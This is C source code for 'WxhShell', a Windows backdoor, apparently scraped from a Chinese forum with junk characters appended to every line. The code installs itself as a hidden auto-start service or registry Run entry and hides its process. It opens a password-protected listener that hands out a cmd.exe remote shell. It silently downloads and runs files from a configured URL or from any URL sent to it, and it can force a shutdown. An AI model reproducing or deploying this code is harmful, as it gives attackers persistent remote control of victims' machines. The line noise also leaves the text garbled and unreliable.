    if(Boot(SHUTDOWN)) |>m# m*{S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ds"88:5^  
    else { [v>Z(  
    closesocket(wsh); rZwf%}  
    ExitThread(0); {g23[$X]N  
    } I{Y {  
    break; kM}ic(K  
    } Z:r$;`K/  
  // 获取shell oqQ?2k<@  
  case 's': { 3<Pyr-z h  
    CmdShell(wsh); bRY4yT  
    closesocket(wsh); ^+Y-=2u:  
    ExitThread(0); .T N`p*  
    break; bHlDm~5  
  } -O5(%  
  // 退出 A$$R_3ne  
  case 'x': { RLeSA\di  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %<bG%V(  
    CloseIt(wsh); Q:Nwy(,I  
    break; hc31+TL  
    } P*nT\B  
  // 离开 @pEO@bbg>  
  case 'q': { EzeDShN=J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9cx!N,R t  
    closesocket(wsh); GwU>o:g"  
    WSACleanup(); {R6Zwjs  
    exit(1); HnYFE@Nl:U  
    break; \M1M2(@pDJ  
        } MSrY*)n!>O  
  } G Yy!`E  
  } e P,XH{s  
LbmB([p  
  // 提示信息 wb}N-8x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6vp8LNSW  
} WP#_qqO  
  } ""U?#<}GD  
MSm`4lw  
  return; HK,G8:T  
} p.W*j^';Q  
^7^bA  
// shell模块句柄 9^[5!SMzCj  
int CmdShell(SOCKET sock) 0;m$a=  
{ y9l.i@-  
STARTUPINFO si; y:|Xg0Kp  
ZeroMemory(&si,sizeof(si)); J,77pf!B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]oWZ{#r2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZE3ysLk m  
PROCESS_INFORMATION ProcessInfo; O+UV\  
char cmdline[]="cmd"; Eg- Mm4o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6pdl,5[x-  
  return 0; Lb3K};SIV  
} 2 vJ[vsrFv  
B$[%pm`'2  
// 自身启动模式 $y]||tX  
int StartFromService(void) ?}lpo; $  
{ ~IJZM`gN  
typedef struct >7v.`m6?H  
{ "}~i7NBB  
  DWORD ExitStatus; Hr8$1I$=  
  DWORD PebBaseAddress; SpTORR8  
  DWORD AffinityMask; XCi]()TZ_  
  DWORD BasePriority; j*Wh;I+h  
  ULONG UniqueProcessId; '2q xcco  
  ULONG InheritedFromUniqueProcessId; -aeo7C  
}   PROCESS_BASIC_INFORMATION; #SLxNAH  
Gk]qE]hi  
PROCNTQSIP NtQueryInformationProcess; E( 4lu%  
qzbkxQu]g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?GD? J(S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]OCJ~Zw  
-L4G WJ~.-  
  HANDLE             hProcess; %F]9^C+  
  PROCESS_BASIC_INFORMATION pbi; n4_:#L?  
'rq#q)1MT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E{]|jPdr  
  if(NULL == hInst ) return 0; 'Tan6 Qa  
mEc;-b f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g KmRjK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `J7Lecgo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f[I'j0H%  
^@5ui;JV  
  if (!NtQueryInformationProcess) return 0; uW-- nXMs  
_Ag/gu2-?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~FCSq:_  
  if(!hProcess) return 0; JLV}Fw  
0jZ{?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |I^Jn@Mq:  
j{w,<Wt>  
  CloseHandle(hProcess); zhm!sMlO  
V1b_z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %LZM5Z^  
if(hProcess==NULL) return 0; Xgth|C}k  
F@(}=w^(A  
HMODULE hMod; w wRT$-!  
char procName[255]; Y l3[~S  
unsigned long cbNeeded; 'UG}E@G  
P(i2bbU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?;#3U5$v  
_(kwD^x6O{  
  CloseHandle(hProcess); [ *a>{sO[  
G~hILW^  
if(strstr(procName,"services")) return 1; // 以服务启动 > FcA ,  
C05{,w?  
  return 0; // 注册表启动 cyP* QW[  
} BNoCE!  
_M4v1Hr48  
// 主模块 Ac(irPrD  
int StartWxhshell(LPSTR lpCmdLine) f<U m2YGW  
{ |iJZC  
  SOCKET wsl; \ui~n:aWJ  
BOOL val=TRUE; ]4Yb$e`  
  int port=0; ?$&rC0 t  
  struct sockaddr_in door; <l s/3!  
>W]"a3E  
  if(wscfg.ws_autoins) Install(); Iybpk?,M+  
nu%Nt"~[%  
port=atoi(lpCmdLine); Dt'e<d Is  
CZ%"Pqy&1L  
if(port<=0) port=wscfg.ws_port; whZ],R*u  
#2'&=?J1r  
  WSADATA data; N4(VRA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :yFCp@&  
<m gTWv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WuZ n|j'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ ,1kcDu  
  door.sin_family = AF_INET; k<";t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x<7` 109]  
  door.sin_port = htons(port); U*U )l$!  
y\|\9Q%D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HPCA$LD  
closesocket(wsl); Nl)jQ  
return 1; Q/`o6xv  
} 1xV1#'@[Jd  
ef ;="N  
  if(listen(wsl,2) == INVALID_SOCKET) { 'xI+kyu  
closesocket(wsl); cYn}we}7  
return 1; N6 (w<b  
} k)' z<EL6c  
  Wxhshell(wsl); CIvT5^}  
  WSACleanup(); 7Bd_/A($  
e[&3K<  
return 0; MW@b ;=(  
$,#IPoi~X  
} lc(iy:z@  
F(fr,m3  
// 以NT服务方式启动 H0NyxG<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gm$MEeC  
{ I2!HXMrp  
DWORD   status = 0; 4n)Mx*{  
  DWORD   specificError = 0xfffffff; \ iSBLU  
?G<I N)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v") W@haU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0=zS&xM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gCI'YEx  
  serviceStatus.dwWin32ExitCode     = 0; &: 8&;vk  
  serviceStatus.dwServiceSpecificExitCode = 0; "$;:dfrU  
  serviceStatus.dwCheckPoint       = 0; PH &ms  
  serviceStatus.dwWaitHint       = 0; $^ dk>Hj>4  
k8>^dZub  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rGL{g&_  
  if (hServiceStatusHandle==0) return; ^S2} 0N f  
ew['9  
status = GetLastError(); 1vudT&  
  if (status!=NO_ERROR) <$6E r  
{ *0ntx$M-w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;|,Y2?  
    serviceStatus.dwCheckPoint       = 0; 3H %WB|  
    serviceStatus.dwWaitHint       = 0; IH:Cm5MV  
    serviceStatus.dwWin32ExitCode     = status; $ {eh52)`  
    serviceStatus.dwServiceSpecificExitCode = specificError; r_RTtS#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h!%`odl%  
    return; , .F+x}  
  } t ?'/KL  
S|w] Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7)wq9];w  
  serviceStatus.dwCheckPoint       = 0; y~1php>2f1  
  serviceStatus.dwWaitHint       = 0; M<pgaB0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FEswNB(]*  
} y^BM*CI  
r26Wysi~%  
// 处理NT服务事件,比如:启动、停止 >maz t=,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gcF><i6  
{ aV, J_Q6r  
switch(fdwControl) .;6bMP[YA  
{ .1lc'gu5y  
case SERVICE_CONTROL_STOP: l6Bd<tSH  
  serviceStatus.dwWin32ExitCode = 0; Bn:sN_N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >;?97'M  
  serviceStatus.dwCheckPoint   = 0; <2A'   
  serviceStatus.dwWaitHint     = 0; 7^X_tQf  
  { W4a20KM2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9oz)E>K4f  
  } sg\ jC#  
  return; n K=V`  
case SERVICE_CONTROL_PAUSE: 8#B;nyGD1I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2@rc&Tx  
  break; 1D]wW%us  
case SERVICE_CONTROL_CONTINUE: DO{4n1-U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;r}<o?'RM  
  break; xc3Q7u!|  
case SERVICE_CONTROL_INTERROGATE: X[6 z  
  break; aa]v7d  
}; JpiKZG@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U++UG5c  
} wyM3|%RZ  
d<e.`dhc  
// 标准应用程序主函数 /Vc!N)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D~>P/b)v{j  
{ an~Kc!Oki  
!1R  
// 获取操作系统版本 <{uIB;P  
OsIsNt=GetOsVer(); YdaJ&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vtri"G8 aB  
(#k#0T kE  
  // 从命令行安装 d a9 *>+[  
  if(strpbrk(lpCmdLine,"iI")) Install(); TUr}p aw_  
aH~"hB^e  
  // 下载执行文件 w+H=Xh4t  
if(wscfg.ws_downexe) {  f;a6ux#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U5=J;[w}N  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ccmbdw,Z 5  
} [*v\X %+  
\SR  
if(!OsIsNt) { >O=V1  
// 如果时win9x,隐藏进程并且设置为注册表启动 2[eY q1f!  
HideProc(); :{2$X|f 3  
StartWxhshell(lpCmdLine); x]T;W&s  
} *^ BE1-  
else yD"sYT   
  if(StartFromService()) Mk;j"ZD F  
  // 以服务方式启动 0}N^l=jQ  
  StartServiceCtrlDispatcher(DispatchTable); e#^by(1@}  
else >sq9c/}X  
  // 普通方式启动 ;k]pq4E  
  StartWxhshell(lpCmdLine); ?9A[;j|a0  
y5}|Y{5  
return 0; HDOaN  
} In2D32"F  
ok'1  
k=[R o  
2rM i~8 T  
=========================================== k@'.d)y0`  
MiRB*eA  
lvlH5Fc  
&$[{L)D  
P@#6.Bb#V  
&\r%&IX/  
" DS fKUx&  
\ZB;K~BV&  
#include <stdio.h> ?~Des"F6)1  
#include <string.h> o hCPNm  
#include <windows.h> P.0-(  
#include <winsock2.h> `Ii>w b  
#include <winsvc.h> >Ko )Z&j9W  
#include <urlmon.h> rYJvI  
I uDk9<[b:  
#pragma comment (lib, "Ws2_32.lib") $oEDyC  
#pragma comment (lib, "urlmon.lib") >KJ]\`2>)c  
Oc>-jhx?  
#define MAX_USER   100 // 最大客户端连接数 b;{C1aa>}  
#define BUF_SOCK   200 // sock buffer )NK2uD  
#define KEY_BUFF   255 // 输入 buffer RWE%? `   
M}>q>  
#define REBOOT     0   // 重启 JQqDUd  
#define SHUTDOWN   1   // 关机 frt?*|:  
ZpyRvDz  
#define DEF_PORT   5000 // 监听端口 M<729M  
dGg+[?  
#define REG_LEN     16   // 注册表键长度 s0u$DM2  
#define SVC_LEN     80   // NT服务名长度 gqhW.e}]  
+Muyp]_  
// 从dll定义API t j0vB]c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /zWWUl`:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jc+U$h4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zV]0S o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pP#?|  
tXx9N_/  
// wxhshell配置信息 LuVj9+1 S  
struct WSCFG { a5iMCmL+  
  int ws_port;         // 监听端口 SV~xNzo~  
  char ws_passstr[REG_LEN]; // 口令 y-U(`{[nM  
  int ws_autoins;       // 安装标记, 1=yes 0=no #3S/TBy,  
  char ws_regname[REG_LEN]; // 注册表键名 Z7v~;JzC#  
  char ws_svcname[REG_LEN]; // 服务名 ~gf $ L9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LLE~V~j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e0TnA N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2a^(8A`7W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VXa]L4jJ9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1#V0g Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B.|vmq,u  
d3\8BKp  
}; I.>LG  
;WhB2/5v  
// default Wxhshell configuration d7&PbITN  
struct WSCFG wscfg={DEF_PORT, G~PP1sf  
    "xuhuanlingzhe", Qmrcng}P  
    1, #SdaTMLFf  
    "Wxhshell", 86Rit!ih  
    "Wxhshell", OKP?^%kD  
            "WxhShell Service", &+ IXDU  
    "Wrsky Windows CmdShell Service", JjwuxZVr O  
    "Please Input Your Password: ", ><=af 9T  
  1, [Xrq+O,  
  "http://www.wrsky.com/wxhshell.exe", cE3co(j  
  "Wxhshell.exe" 5IepVS(>?v  
    }; g^idS:GtX5  
 LCG<  
// 消息定义模块 }yw\+fc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {*2A% }S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U{x'@/Ld  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^Iz.O  
char *msg_ws_ext="\n\rExit."; sw&Qks? V  
char *msg_ws_end="\n\rQuit."; v6GWD}HH,  
char *msg_ws_boot="\n\rReboot...";  u32<=Q[  
char *msg_ws_poff="\n\rShutdown..."; zb<+x(0y"  
char *msg_ws_down="\n\rSave to "; &$=F $  
kK(633s  
char *msg_ws_err="\n\rErr!"; )sQbDA|p  
char *msg_ws_ok="\n\rOK!"; @.0,k a,X  
"n\!y~:  
char ExeFile[MAX_PATH]; &.}zZ/  
int nUser = 0; ] !H<vR$8  
HANDLE handles[MAX_USER]; H\S,^)drJ?  
int OsIsNt; 29GiNy+ob  
m4iR '~L}  
SERVICE_STATUS       serviceStatus; ]mc,FlhU@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h3:,Gbyap  
~7m+cWC-+  
// 函数声明 CR/LV]G  
int Install(void); $qvNv[  
int Uninstall(void); Eg9502Bl~8  
int DownloadFile(char *sURL, SOCKET wsh); _+{s^n=  
int Boot(int flag); Mk?9`?g.  
void HideProc(void); xP*RH-<  
int GetOsVer(void); %6n;B|!  
int Wxhshell(SOCKET wsl); pp:+SoyN  
void TalkWithClient(void *cs); L+u_153  
int CmdShell(SOCKET sock); #y?z2 !  
int StartFromService(void); ~$cw]R58,9  
int StartWxhshell(LPSTR lpCmdLine); /oI ''O%M  
(T^aZuuS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vL><Y.kOEs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); emHi= [!i  
WlY%f}l n  
// 数据结构和表定义 PQ5DTk  
SERVICE_TABLE_ENTRY DispatchTable[] = -{< %Wt9  
{ B)(A#&nrb  
{wscfg.ws_svcname, NTServiceMain}, 7}*5Mir p  
{NULL, NULL} .B)v " Sw#  
}; n"pADTaB  
+,%x&L&I  
// 自我安装  [W;14BD7  
int Install(void) %!q(zql  
{ b"gYNGgX  
  char svExeFile[MAX_PATH]; Y8d%L;b[D  
  HKEY key; YONg1.^!(  
  strcpy(svExeFile,ExeFile); \C L`j  
r8 xH A  
// 如果是win9x系统,修改注册表设为自启动 !b 7H  
if(!OsIsNt) { ^a(q7ZfY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u]}Xq{ZN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W=DQ6.   
  RegCloseKey(key); U3Q'ZT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4, :D4WYWD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7fVVU+y  
  RegCloseKey(key); Uq&|iB#mF  
  return 0; n;MoMGnPh,  
    } a5)+5  
  } 2q#$?qs_b  
} l 0 1Lg6+S  
else { []Z6<rC|  
4jXyA/F9V  
// 如果是NT以上系统,安装为系统服务 FPqgncBHK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $UH_)Q2#J^  
if (schSCManager!=0) BG|Kw)z*KM  
{ \/5 8#  
  SC_HANDLE schService = CreateService 3"B|w^6'2  
  ( w90y-^p%  
  schSCManager, "?Y0Ng[  
  wscfg.ws_svcname, ,Pl[SMt!  
  wscfg.ws_svcdisp, O`2%@%?I  
  SERVICE_ALL_ACCESS, Cjd +\7#G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S-1}3T%  
  SERVICE_AUTO_START, L4dbrPE*0  
  SERVICE_ERROR_NORMAL, 5/(Dh![l  
  svExeFile, YRwS{ e*u  
  NULL, :c6%;2  
  NULL, fN&O `T>  
  NULL, ?{FxbDp>  
  NULL, %~eZrG.  
  NULL CocvEoE*z  
  ); E 1>3[3  
  if (schService!=0) u%T.XgY=j  
  { s_]rje8`  
  CloseServiceHandle(schService); F'"-4YV>&  
  CloseServiceHandle(schSCManager); bkY7]'.bz&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z*R"917  
  strcat(svExeFile,wscfg.ws_svcname); Lrk^<:8;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xc@4(Nyp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sy8Og] a  
  RegCloseKey(key); )Ev [o#y  
  return 0; FY VcL*  
    } B (BWdrG  
  } VA]%i P,O-  
  CloseServiceHandle(schSCManager); xX&*&RPZ  
} ch-GmAj 9  
} Q8P;AN_JS  
!?KY;3L:  
return 1; x|Q6[Y  
} Y!SD^Ie7!  
Pukq{/27  
// 自我卸载 c,+oH<bZZs  
int Uninstall(void) I*0 W\Qz@  
{ %Jw;c`JM  
  HKEY key; ;DRJL   
<=0_[M  
if(!OsIsNt) { b)df V=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c  xX  
  RegDeleteValue(key,wscfg.ws_regname); DO0["O74  
  RegCloseKey(key); |S.-5CAh4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y H?>2u  
  RegDeleteValue(key,wscfg.ws_regname); pE=wP/#  
  RegCloseKey(key); 8*|@A6ig  
  return 0; 3fGy  
  } ?.4u'Dkn=  
} N!P* B $d  
} ^+}<Q#y-  
else { 8sL7p4  
F35e/YfG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \tQRyj\|  
if (schSCManager!=0) &"d4J?io`  
{ LDbo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]ao]?=q C  
  if (schService!=0) \ii^F?+b  
  { x*_c'\F|  
  if(DeleteService(schService)!=0) { haY.rH]z  
  CloseServiceHandle(schService); D L$P  
  CloseServiceHandle(schSCManager); ."MBKyg6  
  return 0; ] qrO"X=  
  } )[/+j"F   
  CloseServiceHandle(schService); ov?>ALRg  
  } &gq\e^0CRZ  
  CloseServiceHandle(schSCManager); 1W; +hXx  
} u[cbRn,W  
} a1s=t_wT  
ne;,TJ\  
return 1; &oAuh?kTq  
} jtd{=[STU  
\n/_ Px  
// 从指定url下载文件 [t0gXdU 6  
int DownloadFile(char *sURL, SOCKET wsh) 5~ jGF  
{ ^D\#*pIO  
  HRESULT hr; ~(Fy GB}  
char seps[]= "/"; ]0\8g=KK  
char *token; {At1]>  
char *file; ]2v31'  
char myURL[MAX_PATH]; W~gFY#w  
char myFILE[MAX_PATH]; sYeZ.MacU  
vZ|m3;X  
strcpy(myURL,sURL); `m3C\\9;  
  token=strtok(myURL,seps); -N9U lW2S  
  while(token!=NULL) lPx4I  
  { 2&P'rmFm  
    file=token; fLPB *y6  
  token=strtok(NULL,seps); n|{x\@VeF  
  } |3vQmd !2}  
* \f(E#wa  
GetCurrentDirectory(MAX_PATH,myFILE); ;@Ls "+g  
strcat(myFILE, "\\"); uI+h9j$vS  
strcat(myFILE, file); (3W<yAM+  
  send(wsh,myFILE,strlen(myFILE),0); [ UQzCqV  
send(wsh,"...",3,0); *-g S u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +   
  if(hr==S_OK) tV%M2 DxS  
return 0; j# o0y5S  
else qA&N6`  
return 1; '%)7%O,2  
cl^tX%  
} c6Wy1d^  
F!N;4J5u  
// 系统电源模块 e PlEd'Z  
int Boot(int flag) )(y&U  
{ bp;)*  
  HANDLE hToken; N!$y`nwiw'  
  TOKEN_PRIVILEGES tkp; /J1O{L  
C <]rY  
  if(OsIsNt) { 0;o`7f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H<"{wUPT0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Iw)xd1d}\  
    tkp.PrivilegeCount = 1; O+c@B}[!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m &s0Ub  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =XyK/$  
if(flag==REBOOT) { fMd]P:B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dxxD%lHCF  
  return 0; G{YLyl/9  
} C$Ldz=d  
else { |f.=Y~aY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Trm)7B*  
  return 0; ?GX 5Pvg  
} |Q.t]TR'P  
  } w#]%I+  
  else { mG\,T3/*  
if(flag==REBOOT) { .#Z}}W#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^D"}OQoh  
  return 0; ;,4Z5+  
} Rm"lRkY4I[  
else { 'V .4Nhd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Spt[b.4mF  
  return 0; EzwYqw  
} /6b(w=pk  
} JYs*1<  
if r!ha+8!  
return 1; Nmns3D  
} }8 fG+H.  
]MRE^Je\h  
// win9x进程隐藏模块 8K7zh.E  
void HideProc(void) r B)m{)  
{ 'GS1"rkW<5  
A\k@9w\Ll;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DBbmM*r  
  if ( hKernel != NULL ) -Z)$].~|t  
  { ct fKxGH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DSD#',  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T&6{|IfM_  
    FreeLibrary(hKernel); :>;-uve8'  
  } /w`{]Ntgu  
C KBLM2 D  
return; kjJ\7x6M  
} rN8 ZQiJC  
'9]%#^[Q  
// 获取操作系统版本 tihb38gE  
int GetOsVer(void) }mk9-7  
{ !nC Z,  
  OSVERSIONINFO winfo; B$_F)2%m;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l&^9<th  
  GetVersionEx(&winfo); DTI+VY .W^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,bKA]#(2  
  return 1; :$j!e#?=  
  else ]Y}faW(&Y  
  return 0; +);o{wfW  
} "-90:"W  
}ZlJ  
// 客户端句柄模块 ?9 m3y0  
int Wxhshell(SOCKET wsl) Y+F$]!hw  
{ GL9R 5  
  SOCKET wsh; C5*j0}  
  struct sockaddr_in client; P2!@^%o  
  DWORD myID; wwmMpK}f  
LPvyfD;Zy  
  while(nUser<MAX_USER) *.~hn5Y|?  
{ av&dGsFP  
  int nSize=sizeof(client); 9Or3X/:o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !s9<%bp3  
  if(wsh==INVALID_SOCKET) return 1; `9kjYSd#E  
"u3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >/ECLP  
if(handles[nUser]==0) 'h([Y8p{  
  closesocket(wsh); f @Hp,-  
else Bm;{dO  
  nUser++; XGk8Ki3w  
  } ^4`q%_vm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EAqTXB@XU  
tlA4oVII  
  return 0; N"2P&Ho]  
} hm&{l|u{RU  
Z[slN5]([  
// 关闭 socket 1Hy  
void CloseIt(SOCKET wsh) tt6ElP|D  
{ 2sk^A ly  
closesocket(wsh); <~u.:x@ R  
nUser--; b=Zg1SqV  
ExitThread(0); 4qrPAt  
} kZWc(LwA  
d]} 7]  
// 客户端请求句柄 zZ[SC  
void TalkWithClient(void *cs) s[SzE6eQ`l  
{ -!I.:97 N  
GKZn|<Y|{c  
  SOCKET wsh=(SOCKET)cs; "/O0j/lm  
  char pwd[SVC_LEN]; <YUc?NF  
  char cmd[KEY_BUFF]; Ddghw(9*H  
char chr[1]; {(7Dz*0  
int i,j; psta&u\ q  
\@:pWe  
  while (nUser < MAX_USER) { 4&R\6!*s  
POtDge  
if(wscfg.ws_passstr) { Z=L' [6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49@ pA-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N?p9h{DG  
  //ZeroMemory(pwd,KEY_BUFF); |rq~.cA  
      i=0; Sr,ZM1J  
  while(i<SVC_LEN) { M+ ^]j  
pr>K#@^  
  // 设置超时 ~bWqoJ;Q  
  fd_set FdRead; ;KbnaUAS8  
  struct timeval TimeOut; w(k7nGU]  
  FD_ZERO(&FdRead); {t;Q#Ou.  
  FD_SET(wsh,&FdRead); lmz{,O  
  TimeOut.tv_sec=8; /thCu%%9A  
  TimeOut.tv_usec=0; *$1*\oCtz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U-Fr[1I6p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q@8Rlc&  
TXH: +mc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #OJsu  
  pwd=chr[0]; SdYES5aES  
  if(chr[0]==0xd || chr[0]==0xa) { svU107?  
  pwd=0; +O*S>0  
  break; i5(_.1X<#{  
  } t8U)za  
  i++; TEE$1RxV(  
    } E"x 2jP  
;TEZD70r  
  // 如果是非法用户,关闭 socket YEXJ h!X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &dbX>u q  
} 6(ju!pE`  
/7h}_zs6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n 'ZlIh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c5mv4 MC  
hh|'Uq3  
while(1) { ZBJ.dK?Ky|  
j0kEi+!TVq  
  ZeroMemory(cmd,KEY_BUFF); )d>"K`3  
>Djv8 0  
      // 自动支持客户端 telnet标准   sq@Eu>Ng(X  
  j=0; 5\S)8j `8  
  while(j<KEY_BUFF) { 4TG g`$e;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8T&m{s  
  cmd[j]=chr[0]; )fA9,yNJ3  
  if(chr[0]==0xa || chr[0]==0xd) { -+'{C =  
  cmd[j]=0; H-1@z$p  
  break; Ts}5Nk8%  
  } 1&i!92:E  
  j++; P+%O]v1 Ob  
    } 9cQKXh:R.  
<Zl0$~B:5  
  // 下载文件 ]\+bx=  
  if(strstr(cmd,"http://")) { ~.VWrHC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VtZ  
  if(DownloadFile(cmd,wsh)) x|F6^d   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-E+/.A  
  else SXwgn >  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IW$&V``v  
  } YV. *8'*  
  else { WxWgY}`  
